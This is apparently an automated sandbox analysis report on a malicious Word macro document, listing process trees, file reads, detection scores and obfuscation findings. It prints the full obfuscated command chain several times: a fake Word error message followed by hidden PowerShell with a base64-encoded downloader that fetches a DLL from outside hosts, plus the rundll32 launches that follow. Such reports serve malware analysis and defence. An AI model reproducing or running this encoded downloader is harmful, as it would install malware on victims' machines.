Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....3..................j....................................}..v....p.......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....?...............d..j.....Fg.............................}..v....8.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....?..................j....................................}..v....p.......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....K...............d..j.....Fg.............................}..v....8.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....K..................j....................................}..v....p.......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....W...............d..j.....Fg.............................}..v....8.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....W..................j....................................}..v....p.......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....c...............d..j.....Fg.............................}..v....8.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....c..................j....................................}..v....p.......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....o...............d..j.....Fg.............................}..v....8.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....o..................j....................................}..v....p.......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....{...............d..j.....Fg.............................}..v....8.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....{..................j....................................}..v....p.......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................d..j.....Fg.............................}..v....8.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j....................................}..v....p.......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................d..j.....Fg.............................}..v....8.......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j....................................}..v....p.......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................d..j.....Fg.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j....................................}..v....@.......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................d..j.....Fg.............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................E..........................j....................................}..v.... .......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....................d..j.....Fg.............................}..v....p.......0.......................r....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j....(...............................}..v............0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v............ .......d..j.....Fg.............................}..v....8.......0................Cg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.......................j....................................}..v....p.......0...............8Dg............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................".j.....(..............................}..v......$.....0.................g............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................".j.....(..............................}..v.....*%.....0.................g............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\msg.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: unknown Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll AnyString
Source: 68254_2001.doc Virustotal: Detection: 46%
Source: 68254_2001.doc Metadefender: Detection: 48%
Source: 68254_2001.doc ReversingLabs: Detection: 75%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgACQAOQBNAHMANgAzACAAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADEAfQB7ADMAfQAiACAALQBmACAAJwBTAFkAcwB0AEUAJwAsACcATwAuAEQAaQByAGUAYwAnACwAJwBtAC4ASQAnACwAJwB0AE8AcgBZACcAKQA7ACAAIABTAEUAdAAtAHYAQQByAEkAQQBCAGwAZQAgAHkAUQBLAG0AdAAgACAAKAAgACAAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsANQB9AHsANwB9AHsANAB9AHsAOAB9AHsAMQB9AHsANgB9AHsAMwB9AHsAMgB9ACIALQBmACcAUwBZAFMAJwAsACcASQBDAGUAcABvAEkAbgBUACcALAAnAGUAUgAnACwAJwBBAEcAJwAsACcALgBTAGUAUgAnACwAJwB0AEUATQAuAE4AZQAnACwAJwBtAEEATgAnACwAJwBUACcALAAnAFYAJwApACAAKQA7ACAAJABCAGIAMgB1ADIAYwA5AD0AJABYADIANwBGACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABaADEAMgBHADsAJABSADgANABGAD0AKAAnAFEAMgAnACsAJwAwAEwAJwApADsAIAAgACgAIAAgAGMAaABpAEwAZABpAHQAZQBtACAAdgBhAFIAaQBhAGIAbABlADoAOQBNAFMANgAzACkALgB2AGEAbAB1AEUAOgA6ACIAYwByAEUAYQB0AEUAYABEAEkAYABSAGUAYwBUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAVwAnACsAJwAwAGYAJwArACcATwAnACsAJwBjAG0AJwArACcAZABfACcAKwAnAGsAJwArACgAJwBlAFcAMAAnACsAJwBmACcAKQArACgAJwBRAHEAdwA4AG4AYgAnACsAJwBoAFcAJwArACcAMABmACcAKQApAC4AIgBSAEUAYABwAEwAYQBjAEUAIgAoACgAWwBDAEgAQQBSAF0AOAA3ACsAWwBDAEgAQQBSAF0ANAA4ACsAWwBDAEgAQQBSAF0AMQAwADIAKQAsACcAXAAnACkAKQApADsAJABNADYANwBOAD0AKAAoACcATQAnACsAJwAyADkAJwApACsAJwBEACcAKQA7ACAAIAAkAFkAUQBLAE0AdAA6ADoAIgBzAEUAQwBgAFUAYABSAEkAdABgAFkAUAByAG8AdABgAE8AYwBvAGwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACkAOwAkAEwAMQAwAEIAPQAoACcAUAAnACsAKAAnADYAOAAnACsAJwBSACcAKQApADsAJABVAHoAaQAxAGgAMQBxACAAPQAgACgAJwBBACcAKwAoACcAMwAwACcAKwAnAEYAJwApACkAOwAkAEwANQA1AE8APQAoACcAVAAnACsAKAAnADYANwAnACsAJwBZACcAKQApADsAJABSAGQAdABhAGwANAB2AD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ATwBjAG0AJwArACcAZAAnACsAJwBfAGsAZQB7ACcAKwAnADAAfQBRAHEAJwArACgAJwB3ACcAKwAnADgAbgBiACcAKQArACcAaAAnACsAJwB7ADAAfQAnACkALQBGAFsAQwBoAGEAUgBdADkAMgApACsAJABVAHoAaQAxAGgAMQBxACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABMADcAMgBRAD0AKAAnAFgANAAnACsAJwBfAFMAJwApADsAJABOAHMAegBvADgAaQAxAD0AKAAnAHMAZwAnACsAKAAnACAAeQB3ACcAKwAnACAAYQAnACkAKwAoACcAaAA6AC8ALwBrAGUAdAAnACsAJwBvAHIAJwArACcAZQAnACkAKwAoACcAcwBlACcAKwAnAHQAJwApACsAKAAnAG0AJwArACcAZQAuAGMAbwBtAC8AJwApACsAKAAnAHcAJwArACcAcAAtACcAKQArACgAJwBjACcAKwAnAG8AbgAnACkAKwAnAHQAJwArACcAZQAnACsAKAAnAG4AdAAnACsAJwAvAFIAawAnACkAKwAnADQAcgAnACsAJwB6AC8AJwArACgAJwBAAHMAJwArACcAZwAgAHkAdwAnACsAJwAgAGEAJwApACsAJwBoACcAKwAnADoALwAnACsAJwAvAGkAJwArACgAJwBuAHQAZQAnACsAJwBsAGwAaQAnACkAKwAnAHMAJwArACgAJwBhACcAKwAnAHYAdgB5AC4AYwAnACkAKwAnAG8AJwArACcAbQAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAZABtAGkAbgAnACsAJwAvAGQAJwArACcAUgAnACkAKwAnAGEARwAnACsAKAAnADIASAAnACsAJwAvAEAAcwBnACcAKQArACcAIAAnACsAKAAnAHkAJwArACcAdwAgACcAKQArACgAJwBhACcAKwAnAGgAcwA6ACcAKQArACcALwAnACsAJwAvAG0AJwArACgAJwByAHYAJwArACcAZQAnACsAJwBnAGcAeQAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACcAdwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKQArACgAJwBuAC8AJwArACcAbgAnACkAKwAnAC8AQAAnACsAJwBzACcAKwAnAGcAIAAnACsAKAAnAHkAdwAgAGEAaABzACcAKwAnADoA
Source: unknown Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file.
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc IAAgACQAOQBNAHMANgAzACAAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADEAfQB7ADMAfQAiACAALQBmACAAJwBTAFkAcwB0AEUAJwAsACcATwAuAEQAaQByAGUAYwAnACwAJwBtAC4ASQAnACwAJwB0AE8AcgBZACcAKQA7ACAAIABTAEUAdAAtAHYAQQByAEkAQQBCAGwAZQAgAHkAUQBLAG0AdAAgACAAKAAgACAAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsANQB9AHsANwB9AHsANAB9AHsAOAB9AHsAMQB9AHsANgB9AHsAMwB9AHsAMgB9ACIALQBmACcAUwBZAFMAJwAsACcASQBDAGUAcABvAEkAbgBUACcALAAnAGUAUgAnACwAJwBBAEcAJwAsACcALgBTAGUAUgAnACwAJwB0AEUATQAuAE4AZQAnACwAJwBtAEEATgAnACwAJwBUACcALAAnAFYAJwApACAAKQA7ACAAJABCAGIAMgB1ADIAYwA5AD0AJABYADIANwBGACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABaADEAMgBHADsAJABSADgANABGAD0AKAAnAFEAMgAnACsAJwAwAEwAJwApADsAIAAgACgAIAAgAGMAaABpAEwAZABpAHQAZQBtACAAdgBhAFIAaQBhAGIAbABlADoAOQBNAFMANgAzACkALgB2AGEAbAB1AEUAOgA6ACIAYwByAEUAYQB0AEUAYABEAEkAYABSAGUAYwBUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAVwAnACsAJwAwAGYAJwArACcATwAnACsAJwBjAG0AJwArACcAZABfACcAKwAnAGsAJwArACgAJwBlAFcAMAAnACsAJwBmACcAKQArACgAJwBRAHEAdwA4AG4AYgAnACsAJwBoAFcAJwArACcAMABmACcAKQApAC4AIgBSAEUAYABwAEwAYQBjAEUAIgAoACgAWwBDAEgAQQBSAF0AOAA3ACsAWwBDAEgAQQBSAF0ANAA4ACsAWwBDAEgAQQBSAF0AMQAwADIAKQAsACcAXAAnACkAKQApADsAJABNADYANwBOAD0AKAAoACcATQAnACsAJwAyADkAJwApACsAJwBEACcAKQA7ACAAIAAkAFkAUQBLAE0AdAA6ADoAIgBzAEUAQwBgAFUAYABSAEkAdABgAFkAUAByAG8AdABgAE8AYwBvAGwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACkAOwAkAEwAMQAwAEIAPQAoACcAUAAnACsAKAAnADYAOAAnACsAJwBSACcAKQApADsAJABVAHoAaQAxAGgAMQBxACAAPQAgACgAJwBBACcAKwAoACcAMwAwACcAKwAnAEYAJwApACkAOwAkAEwANQA1AE8APQAoACcAVAAnACsAKAAnADYANwAnACsAJwBZACcAKQApADsAJABSAGQAdABhAGwANAB2AD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ATwBjAG0AJwArACcAZAAnACsAJwBfAGsAZQB7ACcAKwAnADAAfQBRAHEAJwArACgAJwB3ACcAKwAnADgAbgBiACcAKQArACcAaAAnACsAJwB7ADAAfQAnACkALQBGAFsAQwBoAGEAUgBdADkAMgApACsAJABVAHoAaQAxAGgAMQBxACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABMADcAMgBRAD0AKAAnAFgANAAnACsAJwBfAFMAJwApADsAJABOAHMAegBvADgAaQAxAD0AKAAnAHMAZwAnACsAKAAnACAAeQB3ACcAKwAnACAAYQAnACkAKwAoACcAaAA6AC8ALwBrAGUAdAAnACsAJwBvAHIAJwArACcAZQAnACkAKwAoACcAcwBlACcAKwAnAHQAJwApACsAKAAnAG0AJwArACcAZQAuAGMAbwBtAC8AJwApACsAKAAnAHcAJwArACcAcAAtACcAKQArACgAJwBjACcAKwAnAG8AbgAnACkAKwAnAHQAJwArACcAZQAnACsAKAAnAG4AdAAnACsAJwAvAFIAawAnACkAKwAnADQAcgAnACsAJwB6AC8AJwArACgAJwBAAHMAJwArACcAZwAgAHkAdwAnACsAJwAgAGEAJwApACsAJwBoACcAKwAnADoALwAnACsAJwAvAGkAJwArACgAJwBuAHQAZQAnACsAJwBsAGwAaQAnACkAKwAnAHMAJwArACgAJwBhACcAKwAnAHYAdgB5AC4AYwAnACkAKwAnAG8AJwArACcAbQAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAZABtAGkAbgAnACsAJwAvAGQAJwArACcAUgAnACkAKwAnAGEARwAnACsAKAAnADIASAAnACsAJwAvAEAAcwBnACcAKQArACcAIAAnACsAKAAnAHkAJwArACcAdwAgACcAKQArACgAJwBhACcAKwAnAGgAcwA6ACcAKQArACcALwAnACsAJwAvAG0AJwArACgAJwByAHYAJwArACcAZQAnACsAJwBnAGcAeQAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACcAdwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKQArACgAJwBuAC8AJwArACcAbgAnACkAKwAnAC8AQAAnACsAJwBzACcAKwAnAGcAIAAnACsAKAAnAHkAdwAgAGEAaABzACcAKwAnADoALwAvAGgAJwArACcAYgAnACkAKwAnAHAAcgAnACsAKAAnAGkAdgBpAGwAZQAnACsAJwBnAC
Source: unknown Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll AnyString
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll AnyString
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll',#1
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fqtgesmysxdwyacz\egqmlweitpkpoyg.oym',EFdBQhtlp
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fqtgesmysxdwyacz\egqmlweitpkpoyg.oym',#1
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wdsoicjmrbzpb\qoakbojlblcm.udm',EsaISiHxs
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wdsoicjmrbzpb\qoakbojlblcm.udm',#1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file. Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc IAAgACQAOQBNAHMANgAzACAAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADEAfQB7ADMAfQAiACAALQBmACAAJwBTAFkAcwB0AEUAJwAsACcATwAuAEQAaQByAGUAYwAnACwAJwBtAC4ASQAnACwAJwB0AE8AcgBZACcAKQA7ACAAIABTAEUAdAAtAHYAQQByAEkAQQBCAGwAZQAgAHkAUQBLAG0AdAAgACAAKAAgACAAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsANQB9AHsANwB9AHsANAB9AHsAOAB9AHsAMQB9AHsANgB9AHsAMwB9AHsAMgB9ACIALQBmACcAUwBZAFMAJwAsACcASQBDAGUAcABvAEkAbgBUACcALAAnAGUAUgAnACwAJwBBAEcAJwAsACcALgBTAGUAUgAnACwAJwB0AEUATQAuAE4AZQAnACwAJwBtAEEATgAnACwAJwBUACcALAAnAFYAJwApACAAKQA7ACAAJABCAGIAMgB1ADIAYwA5AD0AJABYADIANwBGACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABaADEAMgBHADsAJABSADgANABGAD0AKAAnAFEAMgAnACsAJwAwAEwAJwApADsAIAAgACgAIAAgAGMAaABpAEwAZABpAHQAZQBtACAAdgBhAFIAaQBhAGIAbABlADoAOQBNAFMANgAzACkALgB2AGEAbAB1AEUAOgA6ACIAYwByAEUAYQB0AEUAYABEAEkAYABSAGUAYwBUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAVwAnACsAJwAwAGYAJwArACcATwAnACsAJwBjAG0AJwArACcAZABfACcAKwAnAGsAJwArACgAJwBlAFcAMAAnACsAJwBmACcAKQArACgAJwBRAHEAdwA4AG4AYgAnACsAJwBoAFcAJwArACcAMABmACcAKQApAC4AIgBSAEUAYABwAEwAYQBjAEUAIgAoACgAWwBDAEgAQQBSAF0AOAA3ACsAWwBDAEgAQQBSAF0ANAA4ACsAWwBDAEgAQQBSAF0AMQAwADIAKQAsACcAXAAnACkAKQApADsAJABNADYANwBOAD0AKAAoACcATQAnACsAJwAyADkAJwApACsAJwBEACcAKQA7ACAAIAAkAFkAUQBLAE0AdAA6ADoAIgBzAEUAQwBgAFUAYABSAEkAdABgAFkAUAByAG8AdABgAE8AYwBvAGwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACkAOwAkAEwAMQAwAEIAPQAoACcAUAAnACsAKAAnADYAOAAnACsAJwBSACcAKQApADsAJABVAHoAaQAxAGgAMQBxACAAPQAgACgAJwBBACcAKwAoACcAMwAwACcAKwAnAEYAJwApACkAOwAkAEwANQA1AE8APQAoACcAVAAnACsAKAAnADYANwAnACsAJwBZACcAKQApADsAJABSAGQAdABhAGwANAB2AD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ATwBjAG0AJwArACcAZAAnACsAJwBfAGsAZQB7ACcAKwAnADAAfQBRAHEAJwArACgAJwB3ACcAKwAnADgAbgBiACcAKQArACcAaAAnACsAJwB7ADAAfQAnACkALQBGAFsAQwBoAGEAUgBdADkAMgApACsAJABVAHoAaQAxAGgAMQBxACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABMADcAMgBRAD0AKAAnAFgANAAnACsAJwBfAFMAJwApADsAJABOAHMAegBvADgAaQAxAD0AKAAnAHMAZwAnACsAKAAnACAAeQB3ACcAKwAnACAAYQAnACkAKwAoACcAaAA6AC8ALwBrAGUAdAAnACsAJwBvAHIAJwArACcAZQAnACkAKwAoACcAcwBlACcAKwAnAHQAJwApACsAKAAnAG0AJwArACcAZQAuAGMAbwBtAC8AJwApACsAKAAnAHcAJwArACcAcAAtACcAKQArACgAJwBjACcAKwAnAG8AbgAnACkAKwAnAHQAJwArACcAZQAnACsAKAAnAG4AdAAnACsAJwAvAFIAawAnACkAKwAnADQAcgAnACsAJwB6AC8AJwArACgAJwBAAHMAJwArACcAZwAgAHkAdwAnACsAJwAgAGEAJwApACsAJwBoACcAKwAnADoALwAnACsAJwAvAGkAJwArACgAJwBuAHQAZQAnACsAJwBsAGwAaQAnACkAKwAnAHMAJwArACgAJwBhACcAKwAnAHYAdgB5AC4AYwAnACkAKwAnAG8AJwArACcAbQAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAZABtAGkAbgAnACsAJwAvAGQAJwArACcAUgAnACkAKwAnAGEARwAnACsAKAAnADIASAAnACsAJwAvAEAAcwBnACcAKQArACcAIAAnACsAKAAnAHkAJwArACcAdwAgACcAKQArACgAJwBhACcAKwAnAGgAcwA6ACcAKQArACcALwAnACsAJwAvAG0AJwArACgAJwByAHYAJwArACcAZQAnACsAJwBnAGcAeQAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACcAdwBwACcAKwAoACcALQBhAGQAbQAnACsAJwBpACcAKQArACgAJwBuAC8AJwArACcAbgAnACkAKwAnAC8AQAAnACsAJwBzACcAKwAnAGcAIAAnACsAKAAnAHkAdwAgAGEAaABzACcAKwAnADoALwAvAGgAJwArACcAYgAnACkAKwAnAHAAcgAnACsAKAAnAGkAdgBpAGwAZQAnACsAJwBnAC Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll AnyString Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll AnyString Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Ocmd_ke\Qqw8nbh\A30F.dll',#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fqtgesmysxdwyacz\egqmlweitpkpoyg.oym',EFdBQhtlp Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fqtgesmysxdwyacz\egqmlweitpkpoyg.oym',#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wdsoicjmrbzpb\qoakbojlblcm.udm',EsaISiHxs Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wdsoicjmrbzpb\qoakbojlblcm.udm',#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2112325686.0000000002B87000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2112325686.0000000002B87000.00000004.00000040.sdmp
Source: Binary string: mscorlib.pdb source: powershell.exe, 00000005.00000002.2112325686.0000000002B87000.00000004.00000040.sdmp
Source: Binary string: scorlib.pdb source: powershell.exe, 00000005.00000002.2112325686.0000000002B87000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2112325686.0000000002B87000.00000004.00000040.sdmp
Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2112325686.0000000002B87000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2112325686.0000000002B87000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2112185390.0000000002AF0000.00000002.00000001.sdmp

Data Obfuscation:

barindex
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Source: 68254_2001.doc Stream path 'Macros/VBA/Tuem7y_4cvap' : High number of GOTO operations
Source: VBA code instrumentation OLE, VBA macro, High number of GOTO operations: Module Tuem7y_4cvap Name: Tuem7y_4cvap
Document contains an embedded VBA with many randomly named variables
Source: 68254_2001.doc Stream path 'Macros/VBA/Tuem7y_4cvap' : High entropy of concatenated variable names
Obfuscated command line found
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgACQAOQBNAHMANgAzACAAPQAgAFsAVAB5AFAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADEAfQB7ADMAfQAiACAALQBmACAAJwBTAFkAcwB0AEUAJwAsACcATwAuAEQAaQByAGUAYwAnACwAJwBtAC4ASQAnACwAJwB0AE8AcgBZACcAKQA7ACAAIABTAEUAdAAtAHYAQQByAEkAQQBCAGwAZQAgAHkAUQBLAG0AdAAgACAAKAAgACAAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsANQB9AHsANwB9AHsANAB9AHsAOAB9AHsAMQB9AHsANgB9AHsAMwB9AHsAMgB9ACIALQBmACcAUwBZAFMAJwAsACcASQBDAGUAcABvAEkAbgBUACcALAAnAGUAUgAnACwAJwBBAEcAJwAsACcALgBTAGUAUgAnACwAJwB0AEUATQAuAE4AZQAnACwAJwBtAEEATgAnACwAJwBUACcALAAnAFYAJwApACAAKQA7ACAAJABCAGIAMgB1ADIAYwA5AD0AJABYADIANwBGACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABaADEAMgBHADsAJABSADgANABGAD0AKAAnAFEAMgAnACsAJwAwAEwAJwApADsAIAAgACgAIAAgAGMAaABpAEwAZABpAHQAZQBtACAAdgBhAFIAaQBhAGIAbABlADoAOQBNAFMANgAzACkALgB2AGEAbAB1AEUAOgA6ACIAYwByAEUAYQB0AEUAYABEAEkAYABSAGUAYwBUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAVwAnACsAJwAwAGYAJwArACcATwAnACsAJwBjAG0AJwArACcAZABfACcAKwAnAGsAJwArACgAJwBlAFcAMA